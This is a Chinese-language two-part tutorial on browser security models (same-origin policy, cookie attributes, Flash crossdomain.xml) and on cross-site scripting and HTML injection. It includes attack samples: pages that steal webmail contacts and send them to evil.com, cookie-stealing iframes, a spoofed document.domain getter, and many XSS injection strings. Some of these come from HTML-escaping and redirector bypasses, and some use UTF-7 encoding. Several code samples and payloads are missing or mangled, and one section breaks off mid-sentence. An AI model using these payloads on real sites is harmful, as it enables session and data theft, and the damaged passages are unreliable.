跨站脚本的名称源自于这样一个事实,即一个Web站点可以把他们的选择的代码越过安全边界线注射到另一个不同的、有漏洞的Web 站点中。当这些注入的代码作为目标站点的代码在受害者的浏览器中执行时,攻击者就能窃取相应的敏感数据,并强迫用户做一些用户非本意的事情。
在本文中,我们论述浏览器方面的安全措施,以及如何利用跨站脚本攻击(XSS)这种常见的技术来规避浏览器的安全措施。在正式讨论跨站脚本攻击之前,我们必须首先要对现有的安全措施有所了解,所以本文将详细介绍当前Web应用所采取的安全措施,如同源策略、cookie安全模型以及Flash的安全模型。
一、Web安全模型
尽管浏览器的安全措施多种多样,但是要想黑掉一个Web应用,只要在浏览器的多种安全措施中找到某种措施的一个漏洞或者绕过一种安全措施的方法 即可。浏览器的各种保安措施之间都试图保持相互独立,但是攻击者只要能在出错的地方注入少许JavaScript,所有安全控制几乎全部瓦解——最后还起 作用的就是最弱的安全防线:同源策略。同源策略管辖着所有保安措施,然而,由于浏览器及其插件,诸如Acrobat Reader、Flash 和Outlook Express漏洞频出,致使同源策略也频频告破。在本文里,我们主要讨论浏览器的三个安全模型:
1.同源策略
2.cookies安全模型
3.Flash安全模型
此外,我们还会介绍如何利用JavaScript代码削弱这些安全模型的方法。
二、同源策略
同源策略又名同域策 略是浏览器中的主要安全措施。这里的“源”指的是主机名、协议和端口号的组合;我们可以把一个“源”看作是某个web页面或浏览器所浏览的信息的创建者。 同源策略,简单地说就是要求动态内容(例如,JavaScript或者VBScript)只能阅读与之同源的那些HTTP应答和cookies,而不能阅 读来自不同源的内容。更为有趣的是,同源策略对写操作没有任何限制。因而,一个web站点可以向任何其他的Web站点发送(或写入)HTTP请求,尽管为 了防止跨站请求可能会对发送这些请求有关的cookies和头部有所限制。
解释同源策略的最好的方法是实例说明。假定我们在网页http://foo.com/bar/baz.html中放上了JavaScript代码。那么,这些JavaScript可以读/写一些页面,但是却不能读/写其他页面。下表说明了来自http://foo.com/bar/baz.html的JavaScript可以访问哪些URL。
URL 能否访问这个URL 原因
http://foo.com/index.html
可以。
协议和主机名匹配。
端口没有显式说明。
该端口被假设为80。注意,两者的目录是不同的。这个目录是/而非/bar。
http://foo.com/cgi-bin/version2/webApp
可以。 协议和主机名匹配。
端口没有显式说明。
该端口被假设为80。注意目录的区别这里的目录是/cgi-bin/version2,而非上面的/bar。
http://foo.com:80/bar/baz.html 可以。 具有几乎相同的URL,HTTP协议匹配,端口是80(HTTP默认的端口),主机名也一样。
https://foo.com/bar/baz.html
不可以。 协议不同,这里使用的协议是HTTPS。
http://www.foo.com/bar/baz.html
不可以。 两个主机名不同,这里的主机名是www.foo.com而不是foo.com。
http://foo.com:8080/bar/baz.html 不可以。 两个端口号不同。这里的端口是8080,而前面的端口被假定为80。
上表说明了当http://foo.com/bar/baz.html试图加载某些URL时同源策略的工作情况。下面我们介绍同源策略的例外。 通过在被请求的页面中对JavaScript的变量document.domain进行相应设置,可以使浏览器有限度地违反同源策略,即,如果http://www.foo.com/bar/baz.html页面中含有下列内容:
<script > document.domain = “foo.com”; </script > |
那么任何http://xyz.foo.com/anywhere.html页面内的脚本都可以向http://www.foo.com /bar/baz.html发送HTTP请求,并可以读取其内容。在此种情况下,如果攻击者能够向http://xyz.foo.com /anywhere.html中注入HTML或JavaScript的话,那么他同时也能在http://www.foo.com/bar /baz.html中注入JavaScript代码。
为此,攻击者需要首先在http://xyz.foo.com/anywhere.html(其document.domain设为 foo.com)中注入HTML和JavaScript,并向http://www.foo.com/bar/baz.html(其 document.domain也设为foo.com)中载入一个iframe,然后就可以通过JavaScript来访问该iframe的内容了。例 如,http://xyz.foo.com/anywhere.html中的下列代码将在www.foo.com域中执行一个JavaScript的alert()函数:
<iframe src=”http://www.foo.com/bar/baz.html” onload=”frames[0].document.body.innerHTML+=’<img src=x onerror=alert(1)’”></iframe> |
这样,document.domain将允许攻击者跨域活动(域际旅行)。注意,你不能在document.domain变量中放入任何域名, 相反,只能在document.domain变量中放置“源”页面即所在页面的域名的上级域名,如www.foo.com的上级域名是foo.com 。
在Firefox浏览器中,攻击者可以利用__defineGetter__()来操纵document.domain,命令 document.domain返回攻击者所选的任意字符串。这个不会损害浏览器的同源策略,因为它只对JavaScript引擎有影响,而不会影响底层 的文档对象模型(DOM),然而这对于依靠document.domain在后台进行跨域请求的JavaScript应用程序却是有影响的。例如,假如一 个后台请求http://somesite.com/GetInformation?callback=callbackFunction的应答的HTTP体如下所示:
function callbackFunction() { if ( document.domain == “safesite.com”) { return “Confidential Information”; } return “Unauthorized”; } |
通过诱骗受害者访问(攻击者的)包含下列脚本的页面,攻击者就可以可以获得保密资料:
<script> function callbackFunction() {return 0;} document.__defineGetter__(“domain”, function() {return “safesite.com”}); setTimeout(“sendInfoToEvilSite(callbackFunction())”,1500); < / script > <script src=”http://somesite.com/GetInformation?callback=callbackFunction”> </script> |
这段HTML代码利用__defineGetter__()对document.domain进行了设置,并且建立了一个针对 http://somesite.com/GetInformation?callback=callbackFunction的跨域请求。最后,它会在 1.5秒——对于浏览器建立到达somesite.com的请求来说,这个时间已经够宽裕了——之后调用 sendInfoToEvilSite(callbackFunction())。因此,我们不应扩展document.domain来用作它用。
如果同源策略失守,后果如何?同源策略使得一个“邪恶的”Web 站点无法访问其它的Web 站点,然而,一旦同源策略被攻破,后果将会如何?攻击者将可以作哪些事情?下面让我们考察一个假想的例子。
假如一位攻击者在http://www.evil.com/index.html建立了一个页面,该页面可以阅读来自其它域的HTTP应答,例 如来自一个webmail应用程序的应答等,并且攻击者可以诱骗webmail用户访问http://www.evil.com/index.html。 那么,攻击者将能阅读受骗用户的通信录。 为此,攻击者可以在http://www.evil.com/index.html中放入
下列JavaScript代码:
<html> <body> <iframe style=”display:none” name=”WebmailIframe” src=”http://webmail.foo.com/ViewContacts”> <!– Step 1 –> </iframe> <form action=”http://evil.com/getContactList” name=”EvilForm”> <input type=”hidden” name=”contacts” value=”default value”> </form> |
现在,您所有联系人都已经落入我们的手中了。
</body> <script> function doEvil() { var victimsContactList = document.WebmailIframe.innerHtml; /* Step 3 */ document.EvilForm.contacts = victimsContactList; document.EvilForm.submit; } setTimeout(“doEvil()”, 1000); /* Step 2 */ </script> </html> |
第一步使用了一个名为WebmailIframe的iframe来装载http://webmail.foo.com/ViewContacts,它是webmail应用程序中的一个调用,用以收集用户的联系人名单。
第二步是等待1秒钟,然后执行JavaScript函数doEvil()。这个延迟能确保联系人名单被装载到iframe中。确认联系人名单已 经被装载到iframe之后,doEvil()尝试访问在步骤三中的iframe得到的数据。如果同源策略被攻陷或不存在的话,攻击者就已经在变量 victimsContactList得到了受害者的联系人名单。 攻击者可以利用JavaScript和该页面的表单将联系人名单发送至evil.com的服务器。
如果攻击者利用跨站请求伪造(CSRF)技术以受害者的名义向所有联系人发送电子邮件的话,情况会变得更糟:这些联系人将收到一封貌似来自朋友的电子邮件,并且在邮件中邀请他们点击http://www.evil.com/index.html。
注意,如果同源策略失守的话,那么任何Web应用都容易受到攻击,而不仅仅是Webmail应用。 这时Web将没有安全可言,目前的许多安全研究的焦点都集中在攻破同源策略上面。 过不了多久,您就会有惊奇的发现。
三、Cookie安全模型
HTTP是一种无状态协议,这意味着一个HTTP请求/应答对跟另一个HTTP请求/应答对毫不相干。随着HTTP的发展,开发人员希望能够维 护所有请求/应答的某些数据,这样他们就能够建立更丰富多彩的Web应用。为此,RFC2109建立了一种标准,每个HTTP请求可以利用HTTP头部自 动地将来自用户的数据(又称为cookie)发送给服务器。无论是web页面还是服务器,都可以读/写这个数据。一般情况下,可以通过 JavaScript的document.cookie来访问cookie,而cookie通常是由一些名字和值对组成,如下所示:
CookieName1=CookieValue1; CookieName2=CookieValue2; |
由于Cookie经常用来存储诸如认证证书之类的机密信息的,为了保护这些信息,RFC2109为其定义了类似于同源策略的安全策略。服务器定 为cookies的主控制器,服务器不仅可以对cookie进行读写操作,而且还能为cookie配置安全属性。cookie的安全属性如下所示:
1.Domain:这个属性的用途与同源策略类似,但是具有更多的限制。就像同源策略一样,domain在默认时为HTTP请求的Host头部中的域名,但是domain也可以设置成更高一级的域名。例如,如果HTTP请求的Host头部中的域名为x.y.z.com, 那么x.y.z.com站点可把cookies设为用于所有*.y.z.com域,但是x.y.z.com站点却不能把cookies设为用于所 有*.z.com——因为前面说过,只能比HTTP请求的Host头部中的域名高出一个级别,当然,任何域都不能将cookies设为用于顶级域名, 如*.com,这是不允许的。
2.Path: 这个属性是用来提高域安全模型的控制力度,使其包含URL路径。注意,属性path是可选的,如果设置了它,那么cookie只会发送给路径与属性 path相吻合的那些服务器。例如,如果http://x.y.z.com/a/WebApp建立了一个路径属性设为/a的cookie;那么该 cookie只会发送给所有http://x.y.z.com/a/*范围内的请求。但是,当人们向http://x.y.z.com /index.html或http://x.y.z.com/a/b/index.html的请求时,该cookie不会发送。
3.Secure:如果一个cookie设置了该属性,那么只有遇到HTTPS请求时才发送该cookie。注意,HTTP和HTTPS的响应 都可以对属性secure进行相应的设置。因此,一个HTTP请求/应答可以改变HTTPS的cookie的secure设置。对于某些高级中间人攻击来说,这是一个大问题。
4.Expires:通常情况下,当浏览器关闭时,cookies就会被删除。不过,您可以设置一个截止日期,在此之前,cookies将一直 存放在用户的机器上,并且对于每个HTTP请求都发送此cookie,直到期满为止。截止日期的格式一般为Wdy, DD-Mon-YYYY HH:MM:SS GMT。 通过设置属性expires为一个过去的日期,可以立即删除cookies。
5.HttpOnly:这个属性对于Firefox和Internet Explorer都是新增的。它在Web应用中很少使用,因为它只对Internet Explorer有效。如果这个属性被设置,那么IE 将不允许阅读该cookie,也不允许通过JavaScript的document.cookie对该cookie执行写操作。这个属性是用来防止攻击者 窃取cookies来做坏事,不过,攻击者总是可以创建JavaScript来做等价的事情,所以即使不通过窃取cookies也无所谓。
下面是带有安全属性cookies的示例代码:
CookieName1=CookieValue1; domain=.y.z.com; path=/a; CookieName2=CookieValue2; domain=x.y.z.com; secure |
我们知道,像来自服务器端的JavaScript和VBScript代码可以通过访问变量document.cookie来对cookies进 行读写操作,除非该cookie设置了HttpOnly属性并且用户正在使用IE。这是一个很大的安全隐患,黑客对此极为感兴趣,因为cookies通常 含有认证证书,CSRF保护措施的信息和其他机密信息;此外,中间人攻击可以编辑HTTP通信中的JavaScript代码,呵呵,这简直就是一场恶梦。
如果一位攻击者可以突破或绕过同源策略的话,就可以通过DOM的变量document.cookie轻松读取cookies。另外,写入新的cookies也是非常容易的,攻击者只要使用类似下列字符串格式来连接document.cookie变量即可:
var cookieDate = new Date ( 2030, 12, 31 ); document.cookie += “CookieName=CookieValue;” + /* 以下各行均为可选内容 */ “domain=.y.z.com;” + “path=/a;” + “expires=” + cookieDate.toGMTString() + “;” + “secure;” + “HttpOnly;” |
读者可以对照全面讲述的内容自己理解上述代码,我想这并非难事。
四、Cookies在创建和语法分析方面的安全隐患
Cookies可以用于JavaScript、浏览器、Web服务器、负载均衡系统及其他独立系统,每个系统都使用不同的代码来解析 Cookies。毫无疑问,这些系统将以不同的方式来解析和阅读cookies。攻击者也许能够将受害者已有的cookie中的一个替换掉,换上的 cookie在系统看来表面上跟想要的那个没什么两样,但是实际上内容却大相径庭了。
举例来说,攻击者也许能够添加一个cookie,而这个cookie恰好与受害者已有的cookies中的一个重名,这样攻击者就覆盖了原先的 cookie。可以考虑一下大学的设置,其中一位攻击者具有一个公开的web页面,位于http://public-pages.daxue.edu/~attacker, 同时该大学在https://webmail.daxue.edu/提供了一个webmail服务。攻击者可以自己制作一个cookie并且将域设 为.daxue.edu,然后把它发送到https://webmail.daxue.edu/。假如这个cookie跟webmail用于认证的 cookie同名的话,现在webmail系统读取的将是攻击者伪造的cookie,而不是webmail为用户所建立的cookie。
这时候,webmail系统会将发送该cookie的人(即攻击者)当作是其他的人对待,并进入被冒充的人(即受害者)的webmail帐户。 之后,攻击者就可以对受害者中的邮件做手脚,让账户内只留下一封电子邮件,并声称用户的电子邮件由于安全原因而被屏蔽,该用户必须转到 http://public-pages.Daxue.edu/~attacker/reAuthenticate(或者一个隐蔽的恶意链接)去重新登录 才能看到他的所有邮件。攻击者可以建立一个重新认证连接,使其看上去像一个典型的大学登录页面那样要求受害者输入用户名和口令。当受害者递交个人信息后, 用户名和口令会被发送给攻击者。
实际上,仅仅注入cookie片段也可以使不同的系统读取不同的cookies。注意,cookies和访问控制使用相同的符号进行分隔:分号 (;)。如果攻击者可以通过JavaScript添加cookies,或者cookies是根据一些用户输入来添加的,那么攻击者可以附加一个 cookie片段,以利用该片段改变安全特性或者其它的cookies的值。
五、利用JavaScript将Cookie安全模型降低至同源策略
Cookie安全模型要比同源策略更安全一些,但是利用一些JavaScript,可以把cookie的域还原成跟同源策略的document.domain设置相同的安全级别,并且该cookie的path属性可以被完全绕过。
我们还是使用前面的大学webmail的例子,这里假设攻击者在http://public-pages.daxue.edu/~attacker /创建了一个web页面,同时该大学在http://webmail.daxue.edu/建有一个webmail系统。如果在http: //webmail.daxue.edu/中的某个页面的document.domain=”daxue.edu”,假设该页面为http: //webmail.daxue.edu/badPage.html,那么攻击者可以通过诱导受害者到达http://public-pages.daxue.edu/~attacker/stealCookies.htm来窃取受害者的cookies,该页包含以下代码:
<script> function stealCookies() { var victimsCookies = document.getElementById(“iLoveIframes”).cookie; sendCookiesSomewhere(victimsCookies); } </script> <iframe id=”iLoveIframes” onload=”stealCookies()” style=”display:none” src=”http://webmail.daxue.edu/badPage.html”> |
类似的,如果攻击者的个人页面位于http://www.daxue.edu/~attacker/,webmail系统位于http: //www.daxue.edu/webmail/,同时webmail的cookie中的路径被设为path=/webmail,那么,攻击者就可以通 过诱使受害者浏览 http://www.daxue.edu/~attacker/stealCookies.html来窃取受害者的cookie,其中这个页面包含如下所示的恶意代码:
<script> function stealCookies() { var victimsCookies = document.getElementById(“iLoveIframes”).cookie; sendCookiesSomewhere(victimsCookies); } </script> <iframe id=”iLoveIframes” onload=”stealCookies()” style=”display:none” src=”http://www.daxue.edu/webmail/anyPage.html”> </iframe> |
六、保护Cookie
利用Cookie安全模型中添加的特性,但是不要完全依赖Cookie安全模型中的添加的安全特性。只信任同源策略,并围绕同源策略来打造Web应用程序的安全性。
七、Flash的安全模型
Flash是一种流行的Web浏览器插件,它近来发行的版本中包含了很多复杂的安全模型以供开发人员根据自己的喜好进行定制。这里我们将介绍Flash的安全模型的各个方面,首先介绍的是JavaScript所不具备的那些特性。
Flash的脚本语言称为ActionScript,它与JavaScript非常类似,并且包含了一些从攻击者的角度看来非常感兴趣的一些类:
1.Socket类使开发人员可以创建至allowed域的原始TCP套按字连接,这可以用来达到各种目的,比如精心制作带有伪造的各种报头(例如referrer)的HTTP请求。此外,套按字也可用于扫描无法从外部访问的网络计算机和端口。
2.ExternalInterface类使开发人员可以从Flash运行浏览器中的JavaScript,以达到各种目的,例如读写document.cookie。
3.XML和URLLoader这两个类可以以某用户的名义发送HTTP请求(连带浏览器的Cookie)至allowed域,以达到各种目的,例如跨域请求。
默认时,Flash的安全模型与同源策略非常类似。即,来自于某个域的Flash应用只可以读取来自该域的响应。此外,Flash还对HTTP 请求的发送做了一些安全限制,但是您可以经过Flash的getURL函数发送跨域的GET请求。此外,Flash不允许通过HTTP装入的Flash应 用程序读取用HTTPS载入的响应。需要注意的是,如果在另一个域上的安全策略准许跟Flash应用程序所在域通信的话,Flash却允许跨域通信。安全 策略通常是一个名为crossdomain.XML的XML文件,一般位于域的根目录下。从安全角度讲,最糟糕的策略文件可能是下面这样:
<cross-domain-policy> <allow-access-from domain=”*” /> </cross-domain-policy> |
该策略允许任何Flash应用程序跟存放这个crossdomain.xml文件的服务器(跨域)通信。该策略文件可以任意取名,并且可以放在任何目录下。可以使用下列ActionScript代码加载任意的安全策略文件:
System.security.loadPolicyFile(“http://public-” +”pages.univeristy.edu/crossdomain.xml”);
如果它不在服务器的根目录中,那么该政策仅适用于该策略文件所在的目录以及该目录下的所有子目录。举例来说,假设策略文件位于 http://public-pages.daxue.edu/~attacker/crossdomain.xml,那么该政策将适用于对http: //publicpages.daxue.edu/~attacker/doEvil.html和http://public- pages.daxue.edu/~attacker/moreEvil/doMoreEvil.html的请求,而不对诸如http: //public-pages.daxue.edu/~someStudent/familyPictures.html或http://public- pages.daxue.edu/index.html这样的页面有影响。
八、反射策略文件
策略文件会被Flash“宽大地”解析,因此,如果您可以构造一个会导致服务器发回一个策略文件的HTTP请求,Flash将接受该策略文件。举例来说,http://www.daxue.edu/CourseListing?format=js&callback=这个Ajax请求
将得到如下所示的响应:
<cross-domain-policy><allow-access-from%20domain=”*”/> </cross-domain-policy>() { return {name:”English101″, desc:”Read Books”}, {name:”Computers101″, desc:”play on computers”}}; |
然后,您可以通过ActionScript加载该策略:
System.security.loadPolicyFile(“http://www.daxue.edu/” + “CourseListing?format=json&callback=” + “< cross-domain-policy >” + “< allow-access-from%20domain=\”*\”/ >” + “< /cross-domain-policy >”); |
这样会导致该Flash应用程序能够得以跨域访问http://www.daxue.edu/。
也能您已经想到了,如果人们可以上载一个文件到包含一个不安全的策略文件的服务器并能够随后在通过HTTP进行检索的话,那么System.security.loadPolicyFile()函数也会跟这个策略文件关联起来。
总之,Flash将遵守任何包含跨域策略的文件,除非之前存在任何未闭合的标签或者扩展ASCII字符。注意,Flash Player会完全忽略MIME类型。
九、针对策略文件反射的保护措施
当把用户定义的数据返回给该用户时,应当把HTML中的大于号〉换码为>并且把字符<转换为<,或者直接将其删除。
十、结束语
在浏览器中已经建立了一些安全措施——即同源策略和Cookie安全模型。此外,一些浏览器插件,诸如Flash Player、Outlook Express 以及Acrobat Reader等,带来了更多的安全问题和安全措施。然而,如果攻击者可以强迫用户执行源自特定域的JavaScript的话,这些额外的安全措施总是倾向于削弱同源策略的力量。
跨站脚本攻击(XSS)技术能够强迫用户执行攻击者以受害者名义在某个 域上选择的脚本,如JavaScript、VBScript、ActionScript,等等。XSS要求某个域上的Web应用程序能够提供(即供应、返 回)被攻击者所控制的字符。因此,攻击者可以向页面注入代码,而这些代码将来会在这个有弱点的域的上下文中执行。攻击者精心构造出供受害者运行的恶意代码 之后,他还必须诱骗受害者单击一个链接。该链接一经点击,马上就会启动攻击活动。这些内容将在下一篇中加以介绍。
===============================================================
跨站脚本的名称源自于这样一个事实,即一个Web站点(或者人)可以把他们的选择的代码越过安全边界线注射到另一个不同的、有漏洞的Web 站点中。当这些注入的代码作为目标站点的代码在受害者的浏览器中执行时,攻击者就能窃取相应的敏感数据,并强迫用户做一些用户非本意的事情。
在本文的上篇中,我们详细介绍了当前Web应用所采取的安全措施,如同源策略、cookie安全模型以及Flash的安全模型;而本文将介绍跨站脚本漏洞利用的过程,并对HTML注入进行深入分析。
跨站脚本漏洞利用的过程
现在,您已经熟悉了浏览器中的各种安全技术,下面我们开始设法利用XSS规避这些安全技术。XSS的主要目标是通过把攻击者选择的 JavaScript、VBScript或者其它为浏览器所接受的脚本语言注入到(放进)某些Web应用程序之中。只要攻击者可以将脚本植入有弱点的 Web应用程序中的任何地方,浏览器就会认为这个脚本是来自该有弱点的Web应用程序,而非非出自攻击者之手。
这样的话,该脚本就能够在这个有弱点的Web应用程序的域中运行了,并能进行下列活动:有权读取那个有弱点的Web应用程序使用的Cookie;能够看到该有弱点的Web应用程序提供的页面的内容,甚至能将它们发送给黑客;改变有弱点的Web应用程序的外观;回调运行有弱点的Web应用程序的服务器。
大体上,跨站点脚本攻击可以分为三步进行:
1.HTML注入。我们将介绍把脚本注入到Web应用程序的各种可能的方法。所有HTML注入范例只是注入一个JavaScript弹出式的警告框:alert(1)。
2.做坏事。如果您觉得警告框还不够刺激,我们将讨论当受害者点击了一个被注入了HTML代码的页面链接时攻击者能作的各种的恶意事情。
3.诱捕受害者。我们论述如何强制或者诱使受害者执行恶意JavaScript代码。
一、HTML注入简介
将HTML和(更为重要的)脚本代码注入Web应用程序的方法简直太多了。如果某个Web应用程序的HTTP响应中“照搬”了在HTTP请求中输入的 内容,例如尖括号、圆括号、句号、等号等,那么说明这个Web应用程序和域具有HTML注入漏洞,并且该漏洞十有八九可以用于XSS。
本节将为读者介绍最常见的HTML注入方法,但是无法包括所有方法,因为这些方法是在太多了。对于大多数小型至中型的网站来说,这些技术很可能仍然奏效。只要有耐心,那么您或许也能够使用其中的一种技术成功应用于一个大型Web站点。
下面我们将分门别类的介绍各种注入方法。
二、传统的反射式和存储式HTML注入
传统的XSS攻击是一种反射式的HTML注入攻击,借此,一个Web应用程序接受在HTTP请求中的用户输入。该Web应用程序会返回一个HTTP响 应,其主体中将包含原封不动的用户输入。如果该服务器的响应跟用户的原始输入完全一致,那么这些用户输入就会被浏览器当作有效的HTML、 VBScript或者JavaScript进行解释。考虑下列的服务器端的PHP代码:
图1展示了这段代码放置到http://publicpages.daxue.[url=http://whatis.ctocio.com.cn/searchwhatis/279/5947779.shtml]edu/~someuser/MyPhp.php[/url]上后,客户端看到的页面内容。
[img]http://www.ctocio.com.cn/imagelist/2009/071/48okii75p3at.jpg[/img]
图1 一个简单的PHP脚本,用以接收用户输入(MyPhp.php)
当用户点击“提交查询”按钮时,就会生成下列GET请求:
http://public-pages.daxue.edu/~someuser/MyPhp.php?input=hahaha
这个PHP应用程序看到用户输入的“hahaha”后,将响应一个页面,如图2所示。
图2 用户输入“hahaha”后MyPhp.php回复的响应
下面显示的是图2中看到的页面的HTML 源代码,为醒目起见用户输入的内容这里以蓝色字体显示。
您输入的内容为: “hahaha”.
注意,实际上这里用户可以输入任何东西,例如〈 script 〉 alert( 1 )〈 / script 〉、〈 body onload = alert( 1 ) 〉、〈 img src = x onerror = alert( 1 ) 〉 或别的东西来把JavaScript代码注入到该页面。如果输入 的话,将向服务器发送下列GET请求:
http://publicpages.daxue.edu/~someuser/MyPhp.php?input=
如前所述,这个PHP应用程序只是把用户输入放到返回的响应页面中。这时候浏览器会把这些用户输入的内容当作JavaScript指令,同时认为该脚 本来自服务器,这可真是应了那句老话“拿着鸡毛当令箭”了,所以浏览器就会执行这些JavaScript代码。图3展示了用户看到的样子。
图3 用户输入“ ”后MyPhp.php回复的响应
上图中显示的页面的源代码如下所示,其中用户输入用蓝色字体表示。
您输入的内容为: ” “.
这是将 注入http://public-pages.daxue.edu/~someuser/MyPhp.php得到的结果。这个例子是一种典型的反射式的HTML注入,因为用户在HTTP请求中发送JavaScript代码,同时Web应用程序立即响应(反射回)一个完全相同的JavaScript代码。只要用户单击了下列链接,这个脚本就会执行:
http://publicpages.daxue.edu/~someuser/MyPhp.php?input=
从攻击者的角度来看,利用注入的ML代码让恶意的web页面完成单击或者指定次数的点击是非常重要的。假设前面的PHP应用程序只接受POST请求,而不接受GET,如下所示:
[table=95%][tr][td] < html >
< body >
< ?php
if (isset($_POST{‘UserInput’})){
$out = ‘您输入的内容为: “‘ . $_POST{‘UserInput’} . ‘”.’;
} else {
$out = ‘< form method=”POST” >请在此输入内容: ‘;
$out .= ‘< input name=”UserInput” size=”50″ >’;
$out .= ‘< input type=”submit” >’;
$out .= ‘< /form >’;
}
print $out;
? >
< /body >
< /html >[/td][/tr][/table]
在这种情况下,攻击者无法像上面的GET请求那样直接通过诱骗受害者点击一个链接来注入HTML代码;现在,他们必须采取一些额外的步骤。为此,攻击者可以创建下列HTML页面:
< html > < body > < form name=”evilForm” method=”POST ction=”http://publicpages. daxue.edu/~someuser/MyPhp.php”> < input type=”hidden” name=”input” value=”〈 script 〉alert ( 1 )〈 / script 〉” 〉 < script > document.evilForm.submit() < /script > < /body > < /html > |
当用户单击了指向上述HTML页面的链接时,就会对http://public-pages.daxue.edu/~someuser/MyPhp.php进行HTML注入。当然,攻击者也能利用HTML注入干别的坏事,而不仅仅象征性地调用一个JavaScript的弹出窗口。“第二步:做坏事”部分将解释攻击者除了弹出一个窗口外还能做些什么。
存储式HTML注入跟反射式HTML注入非常相似,唯一区别在于攻击者将脚本植入Web应用程序后,这些脚本会被Web应用程序存储到一个可以检索的地方。例如,对于允许用户张贴和阅读消息的网络论坛,攻击者可以在张贴消息时注入HTML代码,然后其它用户阅读这则含有脚本的消息时,其中的脚本就会执行。
三、定位存储式和反射式HTML注入点
为了寻找存储式和反射式HTML注入点,可以尝试在所有表单输入以及GET或者POST请求的所有参数中注入脚本。我们要假设参数/值对中的值都可能有漏洞。甚至尝试在新生成的参数中注入HTML代码,如下所示:
〈 script 〉 alert ( ‘ parameter ‘ )= 不起作用,因为这些测试字符串并不出现在响应的HTML主体区。举例来说,假如向http://search.engine.com/search?p= 发送的这个请求返回的响应中,其预填充表单字段内是我们的HTML注入字符串,如:
遗憾的是,脚本标签会被作为用于表单输入字段的字符串,所以无法执行。相反,尝试http://search.engine.com/search?p=”> 的话,会得到如下所示的HTML应答:
〈 form input=”text” name=”p” value=”〈 ,那么保不住攻击者可以注入下列内容:
〈 /title 〉〈script 〉 alert( 1 ) 〈 /script 〉
这样一来就摆脱了title标签。USERINPUT3被放在一个式样标签中,任何人都可以在IE中设置USERINPUT3成下面的样子:
black; background: url( ‘ javascript:alert( 1 ) ‘ );
于是他就能够在Firefox使用它了:
1: expression( alert( 1 ) )
同样的,有时候用户输入会作为其它的标签的一部分出现在式样参数中,如下所示:
如果您可以将USERINPUT3设为下面的值,那么就能在IE中运行JavaScript了:
javascript : alert(1)
或者对于Visual Basic爱好者,可以这样使用:
vbscript:MsgBox(1)
Firefox不接受带有JavaScript:协议处理程序的background:url()。然而,Firefox允许JavaScript作为表达式来执行,在Firefox中将USERINPUT3A设为下列值:
); 1:expression(alert(1)
USERINPUT4可以直接利用,只要将USERPINUT4设为:
“;alert(1);
USERINPUT5被深深嵌入到JavaScript内部。为了插入(确保会执行的)alert(1)函数,您必须把alert(1)放到所有代码块之外,并保证JavaScript代码的前前后后都是合法的,如下所示:
‘)){}alert(1);if(0)
Alert(1)之前的文本完成了原先的if语句,因此能确保alert(1)函数总是被执行。alert(1)之后的文本创建了一个if语句用于剩 余代码块,所以脚本标签之间的全部代码都是合法的JavaScript代码。如果不这样,JavaScript就会因为语法错误而无法解释执行。
您可以使用一些诡计来把JavaScript注入到USERINPUT6中,例如,可以使用下面的方法:
“> < script >alert(1)< /script >
或者,如果不允许使用尖括号,则使用一个JavaScript事件处理程序,例如onclick事件处理程序,如下所示:
” onclick=”alert(1)
USERINPUT7 还可以是这样:
‘ >< script >alert(1)< /script >
或者:
‘ style=’x: expression( alert ( 1 ) )
甚至更简单一些:
javascript: alert( 1 )
对于USERINPUT7的前两条利用方法能保证脚本在装入页面时执行,最后一种方法要求用户单击链接。您可以把它们都试一遍,看看是不是在某些情况下有些字符和字符串是不允许的。
USERINPUT8也面临类似的HTML注入字符串。下面是使用事件处理程序的最佳方式:
notThere’ onerror=’alert( 1 )
XSS防御方法通常是对具有潜在恶意性的字符进行转义或者编码。举例来说,如果用户输入 到一个文本字段,服务器可能以下列转义后的字符串作为响应:
根据转义后的字符串的所在位置,这些字符串将以本来面目出现并且不会执行。转义方法比较复杂,所以将在后面的对抗措施中加以详细讨论。大多数转义例程 不是忘记对具有潜在恶意性的字符和字符串进行转义,就是使用了错误的编码方法进行换码。例如USERINPUT9,其事件处理程序把HTML实体编码为 ASCII,所以任何人可以用下列两个字符串上演相同的攻击:
x’); alert ( 1 );
以及:
x’); alert( 1 )
最后,USERINPUT10可以用事件处理程序利用,并突破输入标签,例子如下所示:
x onclick= alert ( 1 )
这个例子说明,用户提供的字符串可以放到HTTP应答中的任何地方,看来真是一切皆有可能呀!
如果您在任何前面的实例中成功进行了HTML注入,那么该HTML注入就可用于在那个域上的任何地方的XSS。您可以用多种不同的方法来向Web应用 程序注入JavaScript。如果你的尝试曾经导致页面格式被破坏,诸如截断页面、显示了除您注入以外的脚本,那么很可能就是找到了一个XSS漏洞。
四、重定向器中的反射式HTML注入
HTML注入的另一个大舞台是重定向器。有些重定向器允许用户重定向到任何URL。 遗憾的是,JavaScript:alert(1)是一个合法的URL。许多重定向器会对URL进行解析,以确定重定向到那里是否安全。这些解析器以及他们的程序员并不总是人们想象的那么聪明,所以像下面的URL:
javascript://www.anywhere.com/%0dalert( 1 )
以及这个:
javascript://http://www.trustedsite.com/trustedDirectory/%0dalert( 1 )
可能被接受。在上面的例子中,任何字符串都可以放置在JavaScript注解所用的双斜杠之间以及URL编码的换行符(%0d)之间。
五、移动式应用中的HTML注入
有些流行的Web应用程序被移植到移动通信领域。这些移动式应用一般具有相同的功能,但是安全特性更差,并且仍然可以通过诸如IE 以及Firefox之类的浏览器进行访问。 因此,它们是HTML注入攻击以及跨站请求伪造的理想攻击目标。
通常情况下,移动式应用作为主要的Web应用程序运行在相同的域上,因此移动式应用中的任何HTML注入都能够访问整个域,包括运行在该域上的主要的Web应用程序或者其它的Web应用程序。
六、在Ajax响应以及错误信息中的HTML注入
并非所有HTTP应答都会显示给用户。类似AJAX响应以及超文本传输协议(http)错误消息这些页面通常会被开发人员所忽视。开发人员可能没有考 虑为AJAX响应提供HTML注入保护,因为这些请求通常不是由用户直接使用的。然而,攻击者可以用先前的代码片断模仿AJAX的GET以及POST请 求。
同样的,超文本传输协议(http)错误响应,诸如HTTP 404(Not Found)、HTTP 502(Server Error)等等,通常也会被开发人员所忽略。开发人员倾向于假定一切都是HTTP 200(OK)。您可以尝试触发其它的响应,而非仅仅HTTP 200,然后试着注入脚本。
七、使用UTF-7编码进行HTML注入
如果用户的IE自动选择编码集,那么攻击者就能规避大多数HTML注入预防措施。就像前面提到的那样,HTML注入的预防措施一般依赖于对潜在的有害 字符进行转义处理。然而,UTF-7编码技术使用了无法正常转义的通用字符,而这些通用字符有时无法被某些Web应用程序进行换码。 的UTF-7转义版本将是下面的样子:
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
